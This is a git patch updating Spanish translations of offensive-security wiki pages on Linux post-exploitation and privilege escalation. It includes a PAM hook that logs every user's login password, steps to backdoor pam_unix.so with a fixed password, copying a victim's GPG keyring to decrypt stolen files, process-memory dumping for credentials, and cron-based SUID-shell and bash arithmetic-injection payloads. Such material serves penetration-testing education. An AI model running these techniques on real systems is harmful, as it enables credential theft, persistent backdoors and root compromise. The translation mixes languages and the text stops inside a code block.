From 942ef8913d591adbb5a843917ca2bbc8b336c782 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 00:57:12 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../linux-post-exploitation/README.md | 64 +- .../privilege-escalation/README.md | 556 +++++++++--------- .../pentesting-web/laravel.md | 177 +++++- src/pentesting-web/file-upload/README.md | 199 ++++--- 4 files changed, 616 insertions(+), 380 deletions(-) diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index ba9fef3e7..7bd37dee3 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,22 +4,23 @@ ## Sniffing Logon Passwords with PAM -Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta: +Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario usa para iniciar sesión. Si no sabes qué es PAM consulta: + {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Para más detalles, consulta la [publicación original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este es solo un resumen: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Esto es solo un resumen: -**Descripción de la Técnica:** -Los Módulos de Autenticación Pluggable (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también presentan riesgos si se utilizan de manera incorrecta. Este resumen describe una técnica para capturar credenciales de inicio de sesión utilizando PAM, junto con estrategias de mitigación. +**Technique Overview:** +Pluggable Authentication Modules (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también implican riesgos si se usan de forma indebida. Este resumen describe una técnica para capturar credenciales de inicio de sesión usando PAM, junto con estrategias de mitigación. -**Capturando Credenciales:** +**Capturing Credentials:** -- Se crea un script bash llamado `toomanysecrets.sh` para registrar los intentos de inicio de sesión, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (a través de stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`. -- El script se hace ejecutable e se integra en la configuración de PAM (`common-auth`) utilizando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script. -- El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de manera discreta. +- Se crea un script bash llamado `toomanysecrets.sh` para registrar intentos de login, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (vía stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`. +- El script se hace ejecutable e integra en la configuración de PAM (`common-auth`) usando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script. +- El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de forma discreta. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Para más detalles, consulta el [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen: +**Para más detalles consulta el [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen: -El Módulo de Autenticación Pluggable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Opera en tres conceptos principales: **nombre de usuario**, **contraseña** y **servicio**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas manejan la autenticación. +El Pluggable Authentication Module (PAM) es un sistema usado en Linux para la autenticación de usuarios. Funciona sobre tres conceptos principales: **username**, **password**, y **service**. Los archivos de configuración de cada service se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas se encargan de la autenticación. -**Objetivo**: Modificar PAM para permitir la autenticación con una contraseña específica, eludiendo la contraseña real del usuario. Esto se centra particularmente en la biblioteca compartida `pam_unix.so` utilizada por el archivo `common-auth`, que es incluido por casi todos los servicios para la verificación de contraseñas. +**Objetivo**: Modificar PAM para permitir la autenticación con una predefined password, omitiendo la password real del usuario. Esto se centra especialmente en la biblioteca compartida `pam_unix.so` usada por el archivo `common-auth`, que está incluido por casi todos los services para la verificación de password. -### Pasos para Modificar `pam_unix.so`: +### Pasos para modificar `pam_unix.so`: -1. **Localiza la Directiva de Autenticación** en el archivo `common-auth`: -- La línea responsable de verificar la contraseña de un usuario llama a `pam_unix.so`. -2. **Modifica el Código Fuente**: -- Agrega una declaración condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se utiliza una contraseña predefinida; de lo contrario, procede con el proceso de autenticación habitual. -3. **Recompila y Reemplaza** la biblioteca modificada `pam_unix.so` en el directorio apropiado. +1. **Localizar la directiva de autenticación** en el archivo `common-auth`: +- La línea responsable de verificar la password del usuario invoca `pam_unix.so`. +2. **Modificar el código fuente**: +- Añade una sentencia condicional en el archivo fuente `pam_unix_auth.c` que concede acceso si se usa una predefined password; en caso contrario continúa con el proceso de autenticación normal. +3. **Recompilar y reemplazar** la biblioteca `pam_unix.so` modificada en el directorio correspondiente. 4. **Pruebas**: -- Se concede acceso a través de varios servicios (inicio de sesión, ssh, sudo, su, protector de pantalla) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar. +- Se concede acceso en múltiples services (login, ssh, sudo, su, screensaver) usando la predefined password, mientras que los procesos de autenticación normales permanecen sin cambios. > [!TIP] > Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +## Decrypting GPG loot via homedir relocation + +Si encuentras un archivo `.gpg` cifrado y la carpeta `~/.gnupg` de un usuario (pubring, private-keys, trustdb) pero no puedes descifrarlo debido a permisos/bloqueos del GnuPG homedir, copia el keyring a una ubicación escribible y úsalo como tu GPG home. + +Errores típicos que verás sin esto: "unsafe ownership on homedir", "failed to create temporary file", o "decryption failed: No secret key" (porque GPG no puede leer/escribir el homedir original). + +Workflow: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +Si el material de la clave secreta está presente en `private-keys-v1.d`, GPG desbloqueará y descifrará sin solicitar una passphrase (o solicitará si la clave está protegida). + + +## Referencias + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9f321b39f..3caeb904b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,19 +6,19 @@ ### Información del SO -Empecemos a recopilar información sobre el sistema operativo en ejecución +Comencemos a obtener información sobre el sistema operativo en ejecución ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Ruta -Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`** podrías ser capaz de hijack algunas libraries o binaries: +Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`** podrías secuestrar algunas librerías o binarios: ```bash echo $PATH ``` -### Información del entorno +### Env info ¿Información interesante, contraseñas o claves API en las variables de entorno? ```bash @@ -26,26 +26,26 @@ echo $PATH ``` ### Kernel exploits -Comprueba la versión del kernel y si hay algún exploit que pueda utilizarse para escalar privilegios +Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puedes encontrar una buena lista de kernels vulnerables y algunos ya **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puedes encontrar una buena lista de kernels vulnerables y algunos **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extraer todas las versiones de kernel vulnerables de ese sitio, puedes hacer: +Para extraer todas las versiones de kernel vulnerables de esa web puedes hacer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Herramientas que pueden ayudar a buscar exploits del kernel son: +Herramientas que podrían ayudar a buscar exploits del kernel son: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar IN victim, solo comprueba exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Siempre **busca la versión del kernel en Google**, quizá tu versión del kernel esté escrita en algún kernel exploit y así estarás seguro de que ese exploit es válido. +Siempre **busca la versión del kernel en Google**, quizá tu versión del kernel esté escrita en algún exploit del kernel y así estarás seguro de que ese exploit es válido. ### CVE-2016-5195 (DirtyCow) @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verificación de firma fallida +### Dmesg signature verification failed -Revisa la **smasher2 box of HTB** para ver un **ejemplo** de cómo se podría explotar esta vuln +Revisa la **smasher2 box of HTB** para un **ejemplo** de cómo podría explotarse esta vuln ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si estás dentro de un docker container, puedes intentar escapar de él: +Si estás dentro de un contenedor docker puedes intentar escapar de él: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Unidades -Comprueba **qué está mounted y unmounted**, dónde y por qué. Si algo está unmounted, podrías intentar mountearlo y comprobar si contiene información privada. +Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, puedes intentar montarlo y buscar información privada. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,25 +140,25 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumerar binarios útiles +Enumera binarios útiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Además, verifica si **hay algún compilador instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar) +Además, comprueba si **hay algún compilador instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vayas a usar (o en otra similar) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software vulnerable instalado -Comprueba la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalar privilegios…\ +Comprueba la **versión de los paquetes y servicios instalados**. Quizás exista alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalating privileges…\ Se recomienda comprobar manualmente la versión del software instalado más sospechoso. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si tienes acceso SSH a la máquina también podrías usar **openVAS** para comprobar si hay software desactualizado o con vulnerabilidades instalado en la máquina. +Si tienes acceso SSH a la máquina también podrías usar **openVAS** para comprobar software desactualizado y vulnerable instalado en la máquina. -> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por ello se recomiendan aplicaciones como OpenVAS o similares que verifiquen si alguna versión de software instalada es vulnerable a exploits conocidos_ +> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo que se recomiendan aplicaciones como OpenVAS u otras similares que comprueben si alguna versión de software instalada es vulnerable a exploits conocidos_ ## Procesos @@ -168,32 +168,32 @@ ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -También **revisa tus privilegios sobre los procesos binaries**, quizá puedas sobrescribir alguno. +Revisa siempre si hay posibles [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esos comprobando el parámetro `--inspect` dentro de la línea de comandos del proceso.\ +También **comprueba tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. ### Process monitoring -Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar processes. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos. +Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos. ### Process memory -Algunos servicios en un servidor guardan **credentials in clear text inside the memory**.\ -Normalmente necesitarás **root privileges** para leer la memoria de procesos que pertenecen a otros usuarios, por lo que esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.\ -Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los processes que te pertenecen**. +Algunos servicios de un servidor guardan **credentials in clear text inside the memory**.\ +Normalmente necesitarás **privilegios de root** para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.\ +Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los procesos que posees**. > [!WARNING] -> Ten en cuenta que hoy en día la mayoría de máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu unprivileged user. +> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario no privilegiado. > > El archivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica de cómo funcionaba ptracing. -> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado. -> - **kernel.yama.ptrace_scope = 2**: solo el admin puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: ningún proceso puede ser trazado con ptrace. Una vez establecido, se necesita reiniciar para habilitar ptracing de nuevo. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior las credentials. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Script de GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para un ID de proceso dado, **maps muestran cómo la memoria está mapeada dentro del espacio de direcciones virtual de ese proceso**; también muestran los **permisos de cada región mapeada**. El archivo pseudo **mem** **expone la propia memoria del proceso**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **seek en el archivo mem y volcar todas las regiones legibles** a un archivo. +Para un ID de proceso dado, **maps muestran cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestran los **permisos de cada región mapeada**. El archivo pseudo **mem** **expone la propia memoria del proceso**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus offsets. Usamos esta información para **seek en el archivo mem y dump todas las regiones legibles** a un archivo. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\ -Normalmente, `/dev/mem` solo es legible por **root** y el grupo kmem. +`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\ +Típicamente, `/dev/mem` solo es legible por **root** y el grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para Linux +### ProcDump para linux -ProcDump es una versión reimaginada para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Descárgalo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump es una reinterpretación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -264,40 +264,40 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Herramientas +### Tools -Para hacer un dump de la memoria de un proceso puedes usar: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y dump el proceso que te pertenece -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que pertenece a tu usuario +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) -### Credenciales desde la memoria del proceso +### Credenciales en la memoria del proceso #### Ejemplo manual -Si encuentras que el proceso authenticator se está ejecutando: +Si encuentras que el proceso authenticator está en ejecución: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puedes hacer dump del proceso (ver las secciones anteriores para encontrar diferentes maneras de hacer dump de la memoria de un proceso) y buscar credenciales dentro de la memoria: +Puedes dump the process (ver las secciones anteriores para encontrar diferentes maneras de dump the memory of a process) y buscar credentials dentro de la memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) robará **credenciales en texto claro desde la memoria** y desde algunos **archivos bien conocidos**. Requiere privilegios root para funcionar correctamente. +La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) robará **credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente. -| Funcionalidad | Nombre del proceso | +| Funcionalidad | Nombre de proceso | | ------------------------------------------------- | -------------------- | | Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Conexiones FTP activas) | vsftpd | -| Apache2 (sesiones activas de HTTP Basic Auth) | apache2 | -| OpenSSH (sesiones SSH activas - uso de sudo) | sshd: | +| Apache2 (Sesiones HTTP Basic Auth activas) | apache2 | +| OpenSSH (Sesiones SSH activas - Uso de sudo) | sshd: | #### Expresiones regulares de búsqueda/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,36 +313,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tareas programadas/Cron jobs +## Scheduled/Cron jobs -Comprueba si alguna tarea programada es vulnerable. Quizá puedas aprovecharte de un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que usa root? ¿usar symlinks? ¿crear archivos específicos en el directorio que utiliza root?). +Comprueba si alguna tarea programada es vulnerable. Quizás puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root utiliza?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Ruta de Cron +### Ruta de cron Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Nótese cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) +(_Fíjate cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\ -Entonces, puedes obtener un root shell usando: +Entonces, puedes obtener un shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando un script con wildcard (Wildcard Injection) +### Cron que ejecuta un script con un wildcard (Wildcard Injection) -Si un script se ejecuta como root y tiene un “**\***” dentro de un comando, podrías explotarlo para provocar comportamientos inesperados (como privesc). Ejemplo: +Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotarlo para causar efectos inesperados (como privesc). Ejemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si el wildcard va precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (ni siquiera** _**./\***_ **lo es).** +**Si el wildcard está precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).** -Read the following page for more wildcard exploitation tricks: +Lee la siguiente página para más trucos de explotación de wildcards: {{#ref}} @@ -352,11 +352,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash realiza parameter expansion y command substitution antes de la evaluación aritmética en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de log no confiables y los alimenta en un contexto aritmético, un atacante puede inyectar una command substitution $(...) que se ejecuta como root cuando el cron corre. +Bash realiza parameter expansion y command substitution antes de la evaluación aritmética en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de log no confiables y los pasa a un contexto aritmético, un atacante puede inyectar una command substitution $(...) que se ejecuta como root cuando corre el cron. -- Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Así, un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), luego el `0` numérico restante se usa para la aritmética por lo que el script continúa sin errores. +- Por qué funciona: En Bash, las expansiones ocurren en este orden: expansión de parámetros/variables, sustitución de comandos, expansión aritmética, luego separación de palabras y expansión de nombres de ruta. Así que un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), luego el `0` numérico restante se usa para la aritmética, por lo que el script continúa sin errores. -- Patrón vulnerable típico: +- Patrón típico vulnerable: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -366,51 +366,51 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Explotación: Haz que texto controlado por el atacante se escriba en el log que se analiza para que el campo que parece numérico contenga una command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la operación aritmética siga siendo válida. +- Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo que parece numérico contenga una sustitución de comandos y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Cron script overwriting and symlink +### Sobrescritura de scripts de cron y symlink -Si **puedes modificar un cron script** ejecutado por root, puedes obtener una shell muy fácilmente: +Si **puedes modificar un script de cron** ejecutado por root, puedes conseguir una shell muy fácilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si el script ejecutado por root usa un **directory where you have full access**, quizá sea útil eliminar esa folder y **crear una symlink folder hacia otra** que sirva un script controlado por ti. +Si el script ejecutado por root usa un **directorio al que tienes acceso total**, podría ser útil eliminar esa carpeta y **crear una carpeta symlink que apunte a otra** que ejecute un script controlado por ti. ```bash ln -d -s ``` ### Cron jobs frecuentes -Puedes monitorizar los procesos para buscar procesos que se estén ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y escalar privilegios. +Puedes monitorizar los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo para escalar privilegios. -Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y borrar los comandos que se han ejecutado más, puedes hacer: +Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` **También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitorizará y listará cada proceso que se inicie). -### Cronjobs invisibles +### Cron jobs invisibles -Es posible crear un cronjob **poniendo un retorno de carro después de un comentario** (sin el carácter de nueva línea), y el cronjob funcionará. Ejemplo (nota el carácter de retorno de carro): +Es posible crear un cronjob **poniendo un retorno de carro después de un comentario** (sin el carácter de nueva línea), y el cron job funcionará. Ejemplo (fíjate en el carácter de retorno de carro): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servicios -### Archivos _.service_ escribibles +### Archivos _.service_ con permiso de escritura -Comprueba si puedes escribir algún archivo `.service`; si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio se **inicie**, se **reinicie** o se **detenga** (tal vez necesites esperar a que la máquina se reinicie).\ +Comprueba si puedes escribir algún archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina sea reiniciada).\ Por ejemplo crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`** -### Binarios de servicio escribibles +### Binarios de servicio con permiso de escritura -Ten en cuenta que si tienes **permisos de escritura sobre binarios que son ejecutados por servicios**, puedes cambiarlos por backdoors de manera que cuando los servicios se vuelvan a ejecutar, los backdoors se ejecuten. +Ten en cuenta que si tienes **permisos de escritura sobre binarios que son ejecutados por servicios**, puedes cambiarlos por backdoors de modo que cuando los servicios se vuelvan a ejecutar los backdoors también se ejecuten. ### systemd PATH - Rutas relativas @@ -418,72 +418,72 @@ Puedes ver el PATH usado por **systemd** con: ```bash systemctl show-environment ``` -Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, puede que puedas **escalate privileges**. Debes buscar **rutas relativas que se usan en archivos de configuración de servicios** como: +Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, podrías ser capaz de **escalar privilegios**. Debes buscar **rutas relativas que se usen en archivos de configuración de servicios** como: ```bash 